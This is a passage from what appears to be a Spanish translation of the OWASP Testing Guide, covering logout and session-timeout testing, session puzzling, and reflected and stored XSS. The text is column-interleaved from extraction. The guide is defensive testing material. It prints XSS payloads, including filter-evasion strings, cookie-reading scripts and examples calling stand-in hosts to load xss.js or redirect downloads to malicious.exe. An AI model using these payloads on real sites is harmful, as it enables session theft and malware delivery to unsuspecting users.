lugar directamente visible. Las funciones de cierre de sesin confusas o usuario que quiere desconectarse de la aplicacin web.
ambiguas podran causar desconfianza en el usuario sobre dicha
funcionalidad. Despus de cargar una pgina, el botn de cierre de sesin debe ser visible
sin desplazamiento.
Otro error comn en la terminacin de la sesin es que en la ficha de
sesin del cliente se establece un nuevo valor, mientras que en el estado Idealmente, el botn de cierre de sesin debe ubicarse en una zona fija
del servidor permanece activa y puede ser reutilizada restableciendo la dentro de la pantalla visible del navegador y no debe verse afectada por el
cookie de sesin al valor anterior. A veces slo se muestra un mensaje de desplazamiento del contenido.
confirmacin al usuario sin que tenga que realizar ninguna accin
adicional. Esto debe evitarse.
144
Para probar el cierre de sesin desde el servidor: El valor apropiado para el tiempo de caducidad de la sesin depende del
propsito de la aplicacin y debe ser un equilibrio entre seguridad y
Primeramente, almacene los valores de las cookies que se utilizan para usabilidad. En las aplicaciones bancarias, no tiene sentido mantener una
identificar una sesin. Invoque la funcin de cierre de sesin del usuario y sesin inactiva ms de quince minutos. Por otro lado, un tiempo corto de
observe el comportamiento de la aplicacin, especialmente en relacin espera en un wiki o un foro podra molestar a los usuarios que estn
con las cookies de sesin. Intente navegar hacia una pgina que slo es escribiendo artculos largos con solicitudes de registro innecesarias. All,
visible dentro de una sesin autenticada, por ejemplo, el uso del botn de los tiempos de espera de una hora o ms pueden ser aceptables.
regresar del navegador.
Para probar el cierre de sesin en entornos de inicio de sesin nicos

Si se muestra una versin en cach de la pgina, utilice el botn de (single sign-off):
actualizar para refrescar la pgina desde el servidor. Y si la funcin de
cierre de sesin causa que las cookies se registren con un nuevo valor, Realice un cierre de sesin de la aplicacin que est probando. Verifique
restaure el valor antiguo de las cookies de sesin y cargue una pgina de si hay un portal central o un directorio de la aplicacin que le permita al
la zona autenticada de la aplicacin. usuario reiniciar una sesin en la aplicacin sin autenticacin.
Si estas pruebas no muestran vulnerabilidades en alguna pgina en Compruebe si la aplicacin solicita al usuario su autenticacin; si solicita
particular, pruebe al menos algunas pginas ms de la aplicacin que se una direccin URL de un punto de entrada a la aplicacin. Habiendo
consideran crticas para la seguridad, para garantizar que la terminacin iniciado una sesin en la aplicacin probada, realice un cierre de sesin
de la sesin es reconocida correctamente por estas reas de la aplicacin. en el sistema SSO. Intente acceder a un rea autenticada de la aplicacin
probada.
Resultado esperado:
Resultado esperado:
Ningn dato que debera ser visible nicamente por usuarios
autenticados debe ser visibles en las pginas examinadas al realizar las Se espera que la invocacin de una funcin de cierre de sesin en una
pruebas. Idealmente, la aplicacin debe redirigirse a una zona pblica o a aplicacin web conectada a un sistema SSO, o en el mismo sistema SSO,
un formulario de registro al acceder a reas autenticadas despus del cause el cierre global de todas las sesiones. Una autenticacin del usuario
cierre de la sesin. No debera ser necesario para la seguridad de la debera ser necesaria para acceder a la aplicacin despus del cierre de la
aplicacin, pero establecer nuevos valores para las cookies de sesin sesin en el sistema SSO y la aplicacin conectada.
despus de desconectarse es considerado como una buena prctica.
Herramientas
Pruebas de tiempo de caducidad de sesin:
Burp Suite - Repeater: portswigger.net
Determine un tiempo de caducidad de sesin realizando solicitudes a una
pgina en el rea de autenticacin de la aplicacin web con incremento de
los intervalos de tiempo. Si aparece un comportamiento de cierre de
sesin, el intervalo de tiempo usado coincide aproximadamente con el Referencias
valor del tiempo de caducidad de la sesin.
Libros Blancos
The FormsAuthentication.SignOut method does not prevent cookie reply attacks

Resultado esperado: in ASP.NET applications: support.microsoft.com
Un cierre de sesin causado por inactividad dentro de un tiempo de Cookie replay attacks in ASP.NET when using forms authentication:
caducidad debe tener los mismos resultados descritos anteriormente
vanstechelman.eu
para la prueba de terminacin de sesin de servidor.
Pruebas del tiempo de cierre de sesin (OTG-SESS-007)

145
Resumen invalida la sesin del usuario actual y borra todos los datos almacenados
en el cliente.
En esta fase, los evaluadores comprueban que la aplicacin cierra
automticamente la sesin cuando un usuario ha permanecido inactivo
durante un cierto periodo de tiempo, asegurando que no se pueda
"reutilizar" la misma sesin y que ningn dato sensible permanezca Ambas acciones deben implementarse cuidadosamente, con el fin de
almacenado en la cach del navegador. evitar introducir debilidades que podran ser aprovechadas por un
atacante para obtener acceso no autorizado si el usuario olvid cerrar la
sesin desde la aplicacin. Ms especficamente, en cuanto a la funcin de
cierre de sesin, es importante asegurarse de que todas las fichas de
Todas las aplicaciones deben implementar un tiempo de cierre de sesin sesin (por ejemplo las cookies) sean destruidas o queden inservibles, y
por inactividad. Este tiempo de cierre define el perodo que una sesin se que se apliquen controles adecuados desde el lado del servidor para
mantendr activa en caso de que no haya actividad por parte del usuario., evitar la reutilizacin de las fichas de sesin. Si estas acciones no se llevan
Cierre e invalide la sesin una vez excedido el perodo de inactividad a cabo correctamente, un atacante podra reproducir estas fichas de
definida desde la ltima peticin HTTP recibida por la aplicacin web sesin para "resucitar" la sesin de un usuario legtimo y hacerse pasar
para un determinado identificador de sesin. El tiempo de cierre ms por l o ella (este ataque es generalmente conocido como 'cookie replay').
adecuado debe ser un equilibrio entre la seguridad (menor tiempo de Por supuesto, un factor atenuante es que el atacante debe ser capaz de
espera) y usabilidad (mayor tiempo de espera), y mucho depende del acceder a las fichas (que se almacenan en el navegador de la vctima),
nivel de sensibilidad de los datos manejados por la aplicacin. pero, en varios casos, esto puede no ser particularmente difcil o
imposible.
Por ejemplo, un tiempo de cierre de sesin de 60 minutos para un foro

pblico puede ser aceptable, pero tanto tiempo sera demasiado en una El escenario ms comn para este tipo de ataque es un equipo pblico
aplicacin de banca en casa (donde se recomienda un tiempo mximo de que sirve para acceder a informacin privada (por ejemplo, correo web,
cierre de quince minutos). En todo caso, cualquier aplicacin que no cuenta bancaria en lnea). Si el usuario se aleja de la computadora sin
impone un cierre de sesin basado en el tiempo de espera debe cerrar explicitamente la sesin y el tiempo de cierre de sesin no est
considerarse insegura, a menos que tal comportamiento sea exigido por implementado en la aplicacin, entonces un atacante podra acceder a la
un requisito funcional especfico. misma cuenta simplemente pulsando el botn "atrs" del navegador.
El tiempo de inactividad limita la ventana de oportunidad que un atacante Cmo probar

tiene para adivinar y usar un identificador de otro usuario. Bajo ciertas
circunstancias podra proteger a las computadoras pblicas para que Prueba de Caja Negra
reutilicen una sesin vlida. Sin embargo, si el atacante es capaz de
secuestrar una sesin determinada, el tiempo de inactividad no limita las Puede aplicarse el mismo enfoque de la seccin de pruebas de
acciones del atacante, ya que puede generar peridicamente actividad funcionalidad de cierre de sesin (OTG-SESS-006) al medir el tiempo de
dentro de la sesin para mantenerla activa por perodos de tiempo ms cierre de sesin.
largos.
La metodologa de prueba es muy similar. En primer lugar, los
evaluadores tienen que comprobar si existe un tiempo de cierre, por
ejemplo, iniciando una sesin y esperando a que el cierre sesin se active.
La gestin de la caducidad y administracin de tiempo de cierre de sesin Como en la funcin de cierre de sesin, despus de transcurrido el tiempo
debe ser realizada obligatoriamente desde el lado del servidor si algunos de espera, todas las fichas de sesin deben ser destruidas o quedar
datos que se encuentran en control del cliente se utilizan para hacer inutilizables.
cumplir el tiempo de cierre de sesin. Por ejemplo, usando valores de
cookies u otros parmetros del cliente para hacer el seguimiento de las
referencias de tiempo (p. ej. el nmero de minutos desde la hora de
registro), un atacante podra manipular estos para extender la duracin Entonces, si se configura el tiempo de cierre, los evaluadores necesitan
de la sesin. entender si el tiempo de cierre lo establece el cliente o el servidor (o
ambos). Si la cookie de sesin es no-persistente (o, de manera ms
general, la cookie no guarda ninguna informacin sobre el tiempo), los
evaluadores pueden asumir que el tiempo de cierre se ejecuta en el
Como resultado, la aplicacin tiene que medir el tiempo de inactividad en servidor.
el servidor y, una vez transcurrido el lapso de espera, automticamente

146
Si la cookie contiene algn dato relacionado con el tiempo (por ejemplo, la Pruebas del Session puzzling (OTG-SESS-008)
hora de registro, o la ltima hora de acceso o la fecha de caducidad de una
cookie persistente), entonces es posible que el cliente tenga una Resumen
participacin en el tiempo de cierre. En este caso, los evaluadores podran
tratar de modificar la cookie (si no est criptograficamente protegida) y La sobrecarga de variables de sesin (tambin conocida como Session
ver qu pasa con la sesin. Por ejemplo, los evaluadores pueden Puzzling) es una vulnerabilidad al nivel de la aplicacin que permite a un
establecer la fecha de caducidad de la cookie en un futuro lejano y ver si atacante realizar una variedad de acciones maliciosas que incluyen, pero
se puede prolongar el perodo de sesiones. no se limitan a:
Como regla general, debe comprobarse todo del lado del servidor y no Esquivar los mecanismos de autenticacin de la aplicacin y hacerse pasar
debe ser posible, mediante la reconfiguracin de las cookies de sesin a por usuarios legtimos.
los valores anteriores, acceder a la aplicacin otra vez.
Elevar los privilegios de una cuenta de usuario maliciosa, en un entorno que,
de lo contrario, sera considerado infalible.
Pruebas de Caja Gris Saltarse las fases de calificacin en los procesos de fases mltiples, incluso
si el proceso incluye todas las restricciones a nivel de cdigo comnmente
El evaluador debe verificar que: recomendadas.
Manipular los valores del lado del servidor de forma indirecta para que no
puedan ser predichos o detectados.
La funcin de cierre de sesin destruye eficazmente todas las fichas de
sesin, o por lo menos las inhabilita. Ejecutar ataques tradicionales en lugares previamente inaccesibles, o incluso
que se consideran seguros.
El servidor realiza los controles adecuados en el estado de la sesin,
impidiendo al atacante reproducir identificadores de sesin previamente
destruidos.
Esta vulnerabilidad se produce cuando una aplicacin utiliza la misma
El tiempo de cierre es establecido correctamente por el servidor. Si el variable de sesin para ms de un propsito. Potencialmente un atacante
servidor utiliza un tiempo de expiracin que se lee de una ficha de sesin que puede acceder a pginas en un orden no previsible por parte de los
es enviada por el cliente (aunque esto no es recomendable), entonces la ficha desarrolladores para que la variable de sesin se configure en un
debe estar criptogrficamente protegida contra la manipulacin. contexto y luego se utilice en otro.
Tome en cuenta que lo ms importante es que la aplicacin invalide la Por ejemplo, un atacante puede utilizar la sobrecarga de variables de
sesin en el servidor. Generalmente esto significa que el cdigo debe sesin para eludir los mecanismos de autenticacin de la aplicacin, que
invocar los mtodos apropiados, por ejemplo, HttpSession.invalidate() en garantizan la autenticacin mediante la validacin de la existencia de
Java y Session.abandon() en .NET. variables de sesin que contengan valores relacionados con la identidad,
que normalmente se almacenan en la sesin despus de un proceso de
autenticacin exitoso. Esto significa que, primero, un atacante tiene
acceso a una ubicacin en la aplicacin que establece el contexto de la
Borrar las cookies en el navegador es recomendable, pero no es sesin y, luego, accede a lugares privilegiados que examinan este
estrictamente necesario, ya que si bien se invalida la sesin en el servidor, contexto.
tener la cookie en el navegador no ayudar a un atacante.
Por ejemplo, un vector de ataque de evasin de autenticacin podra ser

Referencias ejecutado mediante el ingreso a un punto de entrada de acceso pblico
(por ejemplo, una pgina de recuperacin de contrasea) que rellena la
Recursos OWASP sesin con una variable de sesin idntica, basada en valores fijos o en
informacin ingresada por un usuario.
Session Management Cheat Sheet
Cmo probar
147
Prueba de Caja Negra scripting, inyeccin SQL, inyeccin de intrprete, ataques ataques
locale/Unicode, ataques al sistema de archivo y desbordamiento de bfer.
Esta vulnerabilidad puede ser detectada y explotada enumerando todas
las variables de sesin que utiliza la aplicacin y elcontexto en el que son
vlidas. En particular, esto es posible accediendo a una secuencia de
puntos de entrada y luego examinando los puntos de salida. En el caso de Nunca se debe confiar en los datos de una entidad externa o del cliente, ya
las pruebas de caja negra, este procedimiento es difcil y requiere algo de que pueden ser arbitrariamente adulterados por un atacante. "Todas las
suerte ya que cada secuencia diferente podra llevar a un resultado entradas son malignas", dice Michael Howard en su famoso libro "Writing
diferente. Secure Code" (Escribiendo Cdigo Seguro). Esta es la regla nmero uno.
Lamentablemente, las aplicaciones ms complejas a menudo tienen un
gran nmero de puntos de entrada, lo que hace difcil para que un
desarrollador haga cumplir esta regla. Este captulo describe las pruebas
Ejemplos de validacin de datos. Esta es la tarea de probar todas las formas
posibles de entrada para comprender si la aplicacin valida lo suficiente
Un ejemplo muy simple podra ser la funcionalidad de restablecimiento el ingreso de datos antes de usarlos.
de contrasea que, en el punto de entrada, puede solicitar al usuario que
proporcione cierta informacin de identificacin que podra ser el
nombre del usuario o la direccin de correo electrnico. Esta pgina
podra rellenar, entonces, la sesin con estos valores de identificacin que Pruebas de la reflexin del Cross site scripting (OTG-INPVAL-001)
son recibidos directamente del lado del cliente u obtenidos de consultas o
clculos basados en la informacin de entrada recibida. En este punto Resumen
pueden haber algunas pginas en la aplicacin donde se muestran datos
privados basados en este objeto de sesin. De esta manera el atacante La reflexin del Cross-site Scripting (XSS) ocurre cuando un atacante
podra eludir el proceso de autenticacin. inyecta un cdigo ejecutable en el navegador, dentro de una sola
respuesta HTTP. El ataque inyectado no se almacena dentro de la
aplicacin, es no-persistente y slo afecta a los usuarios que abren una
pgina web de terceros o un vnculo diseado con mala intencin. La
Pruebas de Caja Gris cadena de ataque se incluye como parte del diseo de los parmetros URL
o HTTP, que se procesan incorrectamente por la aplicacin y se
La forma ms efectiva para detectar estas vulnerabilidades es a travs de devuelven a la vctima.
una revisin del cdigo fuente.
Las reflexiones de XSS son los tipos de ataque XSS ms frecuentes

Referencias encontrados en la naturaleza. Los ataques de reflexin XSS tambin son
conocidos como ataques XSS no persistentes y, puesto que la carga de
Libros Blancos ataque es entregada y ejecutada mediante una sola solicitud y respuesta,
tambin se les conoce como XSS de primer orden o tipo 1.
Session Puzzles: puzzlemall.googlecode.com
Session Puzzling and Session Race Conditions:

Cuando una aplicacin web es vulnerable a este tipo de ataques, esta
sectooladdict.blogspot.com pasar datos de entrada no validados mediante solicitudes al cliente. El
modus operandi comn del ataque incluye un paso de diseo, en el que el
atacante crea y prueba una URI ofensiva; un paso de ingeniera social, en
el cual ella convence a sus vctimas para que carguen esta URI en sus
Remediacin
navegadores y la eventual ejecucin del cdigo ofensivo utilizando el
Las variables de sesin deben ser utilizadas con una sola finalidad. navegador de la vctima.
Pruebas de validacin de entradas Comnmente, el cdigo del intruso es escrito en el lenguaje Javascript,
pero tambin se utilizan otros lenguajes, por ejemplo, ActionScript y
La debilidad de seguridad de las aplicaciones web ms comn es el no VBScript. Los atacantes suelen aprovechar estas vulnerabilidades para
poder validar correctamente los datos de entrada que vienen del cliente o instalar registradores de claves, robar las cookies de la vctima, realizar
del medio ambiente antes de usarlo. Esta debilidad conduce a casi todas robos del portapapeles y cambiar el contenido de la pgina (por ejemplo,
las vulnerabilidades principales en aplicaciones web, tales como cross site enlaces de descarga).

148
Una de las principales dificultades en la prevencin de vulnerabilidades [3] Para cada prueba de entrada intentada en la fase anterior, el
XSS es la correcta codificacin de caracteres. En algunos casos, el servidor evaluador analiza el resultado y determina si representa una
web o la aplicacin web podran no estar filtrando algunas codificaciones vulnerabilidad que tiene un impacto realista en materia de seguridad de
de caracteres; as que, por ejemplo, la aplicacin web puede filtrar y sacar la aplicacin web. Esto requiere examinar la HTML de la pgina web
"<script>", pero podra no filtrar %3cscript%3e que simplemente incluye resultante, en busca de la informacin de entrada para la prueba. Una vez
otra codificacin de etiquetas. encontrada, el evaluador identifica los caracteres especiales que no
fueron codificados correctamente, reemplazados o filtrados. El conjunto
de caracteres especiales vulnerables sin filtrar dependern del contexto
de esa seccin de HTML.
Cmo probar
Idealmente, todos los caracteres especiales de HTML se reemplazarn con
Prueba de Caja Negra entidades HTML. Las entidades HTML claves para identificar son:
Una prueba de caja negra incluye al menos tres fases:

> (greater than)
< (less than)

[1] Detecte vectores de entrada. Para cada pgina web, el evaluador debe
determinar todas las variables definidas por el usuario y cmo & (ampersand)
ingresarlas. Esto incluye entradas ocultas o no evidentes como
parmetros HTTP, datos POST, valores de formulario de campo oculto y (apostrophe or single quote)
valores predefinidos de radio o de seleccin. Por lo general, los editores
(double quote)
del navegador para HTML o los proxys web que se utilizan para ver estas
variables ocultas. Vea el ejemplo a continuacin.
Sin embargo, una lista completa de entidades est definida por las
[2] Analice cada vector de entrada para detectar posibles especificaciones de HTML y XML. Wikipedia tiene una referencia
vulnerabilidades. Para la deteccin de una vulnerabilidad XSS, el completa [1].
evaluador suele utilizar datos de entrada especialmente diseados con
cada vector de entrada. Estos datos de entrada son normalmente
inofensivos, pero desencadenan respuestas desde el navegador web que
manifiesta su vulnerabilidad. Los datos para pruebas pueden generarse En el framework de una accin de HTML o cdigo JavaScript, un conjunto
utilizando un distorsionador de aplicaciones web, una lista automatizada diferente de caracteres especiales se necesitarn para escapar, codificar,
predefinida de cadenas de ataque conocidas o manualmente. reemplazar o filtrar. Estos caracteres incluyen:
\n (new line)
Algunos ejemplos de esta informacin de entrada son:
\r (carriage return)
\ (apostrophe or single quote)

<script>alert(123)</script>
\ (double quote)
\\ (backslash)
\uXXXX (unicode values)

><script>alert(document.cookie)</script>
Para una referencia ms completa, consulte a la gua JavaScript de

Mozilla. [2]
Para tener una lista completa de posibles cadenas de prueba, vea el archivo
XSS Filter Evasion Cheat Sheet.
Ejemplo 1

149
Por ejemplo, consideremos un sitio que tiene un anuncio de bienvenida

"Bienvenido %username%" y un enlace de descarga. http://example.com/index.php?user=<script>window.onload =
function() {var AllLinks=document.getElementsByTagName(a);
AllLinks[0].href = http://badexample.com/malicious.exe; }</script>
Esto produce el siguiente comportamiento:
El evaluador debe sospechar que cada punto de entrada de datos puede

resultar en un ataque XSS. Para analizarlo, el evaluador jugar con las
variables del usuario y tratar de activar la vulnerabilidad.
Intente hacer clic en el siguiente enlace y vea qu pasa.
http://example.com/index.php?user=<script>alert(123)</script>
Si no se aplica una desinfeccin, esto resultar en la siguiente ventana

emergente:
Esto har que el usuario, haciendo clic en el enlace suministrado por el
evaluador, pueda descargar el archivo malicious.exe desde un sitio
controlado por el evaluador.
Eludir filtros XSS
Los ataques de reflexin del Cross-site Scripting se previenen mientras la

aplicacin web desinfecta la entrada de datos; una aplicacin web de
firewall bloquea la entrada maliciosa, o mediante mecanismos integrados
en navegadores web modernos. El evaluador debe probar las
vulnerabilidades asumiendo que los navegadores web no impedirn el
Esto indica que existe una vulnerabilidad XSS y parece que el evaluador ataque. Los navegadores pueden estar desactualizados o con sus
puede ejecutar el cdigo de su eleccin en cualquier navegador si ste caractersticas de seguridad incorporadas deshabilitadas. Del mismo
hace clic en el enlace del evaluador. modo, los firewalls de la aplicacin web no garantizan poder reconocer
ataques nuevos y desconocidos. Un atacante podra crear una cadena de
ataque que es desconocida por la aplicacin web del firewall.
Ejemplo 2
Pruebe otra pieza de cdigo (enlace) La mayor parte de la prevencin XSS depende de la desinfeccin de la
aplicacin web de datos no confiables del usuario. Hay varios
mecanismos disponibles para que los desarrollaldores realicen la
desinfeccin, como devolver un error, quitar, codificar, sustituir datos de
entrada no vlida. El modo por el cual la aplicacin detecta y corrige la
entrada invlida es otra debilidad principal en la prevencin de XSS. Una

150
lista negra podra no incluir todas las cadenas de ataque posibles, una
><script >alert(document.cookie)</script >
lista blanca puede ser excesivamente permisiva, la desinfeccin puede
fallar o un tipo de entrada puede calificarse incorrectamente como
confiable y mantenerse sin desinfeccin. Todo esto permite a los
atacantes burlar los filtros XSS.
><script >alert(document.cookie)</script >
Los apuntes de repaso de evasin de filtros XSS comnmente filtran las

pruebas de evasin.
%3cscript%3ealert(document.cookie)%3c/script%3e
Ejemplo 3: Etiquete el valor del atributo
Ya que estos filtros se basan en una lista negra, no pueden bloquear todos
los tipos de expresiones. De hecho, hay casos en que una explotacin XSS
puede llevarse a cabo sin el uso de etiquetas <script> e incluso sin el uso
de caracteres tales como "< > y / que comnmente se filtran. Ejemplo 5: Para evitar la filtracin no-recurrente
A veces la desinfeccin se aplica slo una vez y no se realiza de forma

recurrente. En este caso, el atacante puede vencer al filtro mediante el envo
Por ejemplo, la aplicacin web puede utilizar el valor ingresado por el de una cadena que contiene mltiples intentos, como esta:
usuario para llenar un atributo, como se muestra en el siguiente cdigo:
<scr<script>ipt>alert(document.cookie)</script>
<input type=text name=state value=INPUT_FROM_USER>
Ejemplo 6: Para incluir scripts externos
Entonces el atacante puede enviar el siguiente cdigo: Ahora suponga que los desarrolladores del sitio objetivo implementaron el
siguiente cdigo para proteger la entrada de la inclusin de script externo:
onfocus=alert(document.cookie)
<?
$re = /<script[^>]+src/i;
Ejemplo 4: Diferente sintaxis o codificacin if (preg_match($re, $_GET[var]))
En algunos casos, es posible que los filtros basados en la firma pueden ser {
simplemente derrotados ofuscando el ataque. Por lo general, usted puede
hacer esto mediante la introduccin de variaciones inesperadas en la sintaxis o echo Filtered;
en la codificacin. Estas variaciones se toleran por parte de los navegadores
como HTML, vlidos cuando se devuelve el cdigo y, sin embargo, tambin return;
podran ser aceptadas por el filtro.
}
echo Welcome .$_GET[var]. !;

A continuacin algunos ejemplos:

151
En este escenario hay una expresin regular que verifica si<script

http://example/page.php?param=<script&param=>[...]</&param=scri
[cualquier cosa menos el carcter: > ] src se ha insertado. Esto es til
pt>
para filtrar expresiones como:
<script src=http://attacker/xss.js></script>
Resultado esperado
que es un ataque comn. Pero, en este caso, es posible eludir la Vea los apuntes de repaso de evasin de filtros XSS para obtener una lista
desinfeccin usando el carcter ">" con un atributo entre script y src como ms detallada de las tcnicas de evasin de filtros. Por ltimo, analizar las
este: respuestas puede ser complejo. Una manera simple de hacer esto es usar
un cdigo que lance un cuadro de dilogo, como en nuestro ejemplo. Esto
normalmente indica que un atacante podra ejecutar un cdigo JavaScript
http://example/?var=<SCRIPT%20a=>%20SRC=http://attacker/xss arbitrario de su eleccin en los navegadores de los visitantes.
.js></SCRIPT>
Las pruebas de Caja Gris son similares a las pruebas de Caja Negra. En las
Esto explotar la vulnerabilidad de reflexin del Cross-site Scripting
pruebas de Caja Gris, el evaluador de edicin tiene un conocimiento
mostrada anteriormente, ejecutando el cdigo JavaScript almacenado en el
parcial de la aplicacin. En este caso, la informacin relativa a la entrada
servidor web del atacante como si se originara desde el sitio web de la
del usuario, los controles de validacin de entrada y cmo se devuelve la
vctima, http://example/.
informacin ingresada por el usuario al mismo usuario, podran ser
conocidos por el evaluador de edicin.
Ejemplo 7: Contaminacin del Parmetro HTTP (HTTP Parameter Si el cdigo fuente est disponible (Caja Blanca), deben analizarse todas
Pollution (HPP)) las variables recibidas de los usuarios. Adems, el evaluador debe
analizar los procedimientos de desinfeccin implementados para decidir
Otro mtodo para eludir los filtros es la contaminacin del parmetro si estos pueden ser eludidos.
HTTP. Esta tcnica fue introducida por Stefano di Paola y Luca Carettoni
en el 2009, durante la Conferencia OWASP en Polonia. Vea la "prueba de
contaminacin del parmetro HTTP" para obtener ms informacin. Esta
Herramientas
tcnica de evasin consiste en dividir un vector de ataque entre los
mltiples parmetros que tengan el mismo nombre. La manipulacin del
OWASP CAL9000
valor de cada parmetro depende de cmo cada tecnologa web analiza
estos parmetros, por lo que este tipo de evasin no siempre es posible. Si
CAL9000 es una coleccin de herramientas de prueba de seguridad en
el ambiente de prueba concatena los valores de todos los parmetros con
aplicaciones web, que complementa el conjunto actual de proxys web y
el mismo nombre, entonces el atacante podra utilizar esta tcnica para escneres automatizados. Se presenta como una referencia en:
evitar los mecanismos de seguridad basados en el patrn.
sec101.sourceforge.net
Ataque normal:
PHP Charset Encoder(PCE):
http://example/page.php?param=<script>[...]</script> yehg.net
Esta herramienta le permite codificar textos arbitrarios desde y hacia 65

clases de conjuntos de caracteres. Adems, se proporcionan algunas
funciones de codificacin destacadas de JavaScript.
Ataque usando HPP:

152
HackVertor: (XSS). Ofrece resultados de anlisis de cero falsos positivos con su triple
motor de navegacin nico (Trident, WebKit y Gecko) escner
businessinfo.co.uk incrustados. Se afirma que tiene la segunda carga de XSS ms grande del
mundo, de aproximadamente 1600+ XSS cargas tiles distintivas para la
Ofrece varias docenas de codificaciones flexibles para ataques de deteccin eficaz de vulnerabilidades XSS y desvios WAF. El motor de
manipulacin de cadena avanzada. Scripting de Xenotix le permite crear casos de prueba personalizados y
add-ons en la API de Xenotix. Tiene incorporado un mdulo de
recoleccin de informacin abundante para reconocimiento de objetivos.
El framework de explotacin incluye mdulos de explotacin de ofensiva
WebScarab: WebScarab es un framework para analizar las aplicaciones que
XSS para la creacin de pruebas de penetracin y prueba de creacin de
se comunican mediante los protocolos HTTP y HTTPS: owasp.org
concepto.
XSS-Proxy: xss-proxy.sourceforge.net
Referencias
XSS-Proxy es una herramienta avanzada de Cross-Site-Scripting (XSS).
Recursos OWASP
XSS Filter Evasion Cheat Sheet
ratproxy: code.google.com
Es una herramienta de seguridad y auditora semiautomtica, en gran parte

Libros
pasiva, de aplicaciones web optimizadas que sirven para una deteccin
precisa y sensible y para realizar una anotacin automtica de posibles Joel Scambray, Mike Shema, Caleb Sima - Hacking Exposed Web
problemas y patrones de diseo relevantes a la seguridad, basados en la Applications, Second Edition, McGraw-Hill, 2006 - ISBN 0-07-226229-0
observacin del trfico existente, iniciado por el usuario en entornos web 2.0
complejos. Dafydd Stuttard, Marcus Pinto - The Web Applications Handbook -
Discovering and Exploiting Security Flaws, 2008, Wiley, ISBN 978-0-470-
17077-9
Burp Proxy - portswigger.net

Jeremiah Grossman, Robert RSnake Hansen, Petko pdp D. Petkov, Anton
Rager, Seth Fogie - Cross Site Scripting Attacks: XSS Exploits and Defense,
Burp Proxy es un servidor proxy HTTP/S interactivo que sirve para atacar o
2007, Syngress, ISBN-10: 1-59749-154-3
probar aplicaciones web.
Libros Blancos
OWASP Zed Attack Proxy (ZAP):
CERT - Malicious HTML Tags Embedded in Client Web Requests: Read
OWASP_Zed_Attack_Proxy_Project
Rsnake - XSS Cheat Sheet: Read
ZAP es una herramienta de penetracin integrada, fcil de usar para
encontrar vulnerabilidades en aplicaciones web. Est diseada para ser cgisecurity.com - The Cross Site Scripting FAQ: Read
utilizada por personas con un amplio espectro de experiencia en seguridad y
por eso es ideal para desarrolladores y evaluadores funcionales que son G.Ollmann - HTML Code Injection and Cross-site scripting: Read
novatos realizando pruebas de penetracin. ZAP ofrece escneres
automatizados, as como un conjunto de herramientas que permiten A. Calvo, D.Tiscornia - alert(A javascritp agent): Read ( To be published )
encontrar las vulnerabilidades de seguridad manualmente.
S. Frei, T. Dbendorfer, G. Ollmann, M. May - Understanding the Web
browser threat: Read
OWASP Xenotix XSS Exploit Framework:
OWASP_Xenotix_XSS_Exploit_Framework Pruebas para Cross site scripting almacenados(OTG-INPVAL-002)
OWASP Xenotix XSS Exploit Framework es un framework avanzado de Resumen

deteccin y explotacin de vulnerabilidades mediante Cross Site Scripting

153
El Cross-site Scripting almacenado (XSS) es el tipo ms peligroso de Cross

Site Scripting. Las aplicaciones web que permiten a los usuarios
almacenar datos estn potencialmente expuestas a este tipo de ataques. El XSS almacenado es particularmente peligroso en las reas de las
Este captulo ilustra ejemplos de escenarios relacionados con la inyeccin aplicaciones donde los usuarios con altos privilegios tienen acceso.
y explotacin de Cross-site Scripting almacenado. Cuando el administrador visita la pgina vulnerable, el ataque es
ejecutado automticamente por su navegador. Esto puede exponer
El XSS almacenado se produce cuando una aplicacin web rene la informacin sensible como fichas de autorizacin de sesin.
informacin ingresada por un usuario que puede ser malicioso y esa
informacin es almacenada para su uso posterior. La informacin
almacenada no se filtra correctamente. Como consecuencia, los datos
maliciosos aparecern como parte del sitio web y se ejecutarn en el Cmo probar
navegador del usuario con los privilegios de la aplicacin web. Puesto que
esta vulnerabilidad, por lo general, implica al menos dos peticiones a la Pruebas de Caja Negra
aplicacin, esto puede tambin llamarse XSS de segundo orden.
El proceso para la identificacin de las vulnerabilidades XSS almacenadas
es similar al proceso descrito en la prueba de reflexin de XSS.
Esta vulnerabilidad se puede utilizar para llevar a cabo una serie de

ataques basados en el navegador incluyendo:
Formularios de ingreso
El primer paso es identificar todos los puntos donde se almacenan los

Secuestro del navegador de otro usuario datos ingresados por el usuario en la zona de acceso restringido (back-
end) y luego se muestra en la aplicacin. Ejemplos tpicos de ingresos del
Captura de informacin confidencial vista por usuarios de la aplicacin usuario almacenados pueden encontrarse en:
Pseudo desfiguracin de la aplicacin
Escaneo de puertos en hosts internos ("internos" en relacin a los usuarios de la User/Profiles page: la aplicacin permite al usuario editar o cambiar los
aplicacin web) datos del perfil tales como nombre, apellido, apodo, avatar, foto, direccin,
etc.
Explotacin basada en el navegador de entrega dirigida
Shopping cart: la aplicacin permite al usuario guardar artculos en el
Otras actividades maliciosas carrito de compras que pueden ser revisados posteriormente.
File Manager: Esta aplicacin permite subir archivos.
Un XSS almacenado no necesita un enlace malicioso para ser explotado. Application settings/preferences: aplicacin que permite al usuario
Una explotacin exitosa se produce cuando un usuario visita una pgina establecer sus preferencias.
con un XSS almacenado. Las fases siguientes se relacionan con una
situacin de ataque XSS almacenado normal: Forum/Message board: la aplicacin permite intercambiar mensajes entre
usuarios.
Blog: si la aplicacin del blog lo permite, los usuarios envan comentarios.

El atacante almacena el cdigo malicioso en la pgina vulnerable
Log: si la aplicacin guarda en registros algunos datos ingresados por el
El usuario se autentica en la aplicacin usuario.
El usuario visita pginas vulnerables
El cdigo malicioso se ejecuta en el navegador del usuario Analyze HTML code
Los ingresos almacenados por la aplicacin normalmente se utilizan en

etiquetas HTML, pero tambin pueden encontrarse como parte del contenido
Este tipo de ataque tambin puede ser explotado mediante frameworks de JavaScript. En esta etapa, es fundamental para entender si la informacin se
de explotacin del navegador como BeEF, XSS Proxy y Backframe. Estos almacena y cmo se ubica en el contexto de la pgina.
frameworks permiten el desarrollo de ataques complejos de JavaScript.

154
A diferencia de la reflexin XSS, el evaluador de edicin tambin debe

investigar los canales "fuera de banda" a travs de los cuales la aplicacin [email protected]><script>alert(document.cookie)</script>
recibe y almacena los datos ingresados por los usuarios.
[email protected]%22%3E%3Cscript%3Ealert(document.cookie)%3C%2F
Nota: Todas las reas de la aplicacin que son accesibles por el administrador script%3E
deben ser probadas para identificar la presencia de cualquier informacin
enviada por los usuarios.
Ejemplo: Informacin guardada por email en index2.php
Asegrese de que el ingreso de datos es enviado a travs de la aplicacin.

Normalmente esto implica deshabilitar JavaScript si se implementan controles de
seguridad del lado del cliente o modificar la solicitud HTTP con un proxy web
